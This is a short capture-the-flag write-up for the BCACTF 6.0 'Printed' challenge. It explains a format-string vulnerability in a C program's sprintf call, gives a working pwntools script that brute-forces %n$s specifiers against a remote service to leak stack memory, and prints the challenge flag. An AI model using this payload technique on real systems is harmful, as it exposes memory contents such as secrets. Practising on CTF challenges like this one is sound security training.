team-logo
Published on

BCACTF 6.0 - Printed

Authors

Solution

The following C source code was provided:

The source code

I noticed a possble format string vulnerability in the show function. The sprintf call used the name input directly, which allowed me to inject format specifiers and potentially read adjacent memory, including the flag. Because the flag is string data that is not given as an argument, the specifier %n$s attempts to access the n-th argument. Since that argument was never provided, it reads whatever is located at the position where the n-th argument would be on the stack, potentially leaking data from memory:

Attempt with SIGSEGV Attempt with data access

To exploit the target program and get the flag from the host I wrote the following script:

from pwn import *

context.log_level = 'error'

for i in range(1, 100):
	try:
		p = remote('example.com', 1234)
		payload = f'%{i}$s'.encode()
		p.sendline(payload)
		ans = p.recvline()
		print(ans.decode(errors='ignore'))
	except Exception:
		print('nothing')
		
	p.close()
	sleep(0.2)

Using this method, I was able to retrieve the flag:

The flag

bcactf{mY_pr!nt3r_d0esnt_do_th@7_vrfhu}

Bonus

Below I am providing the binaries so you can practice, in case you are unable to find them elsewhere.

Download binaries.zip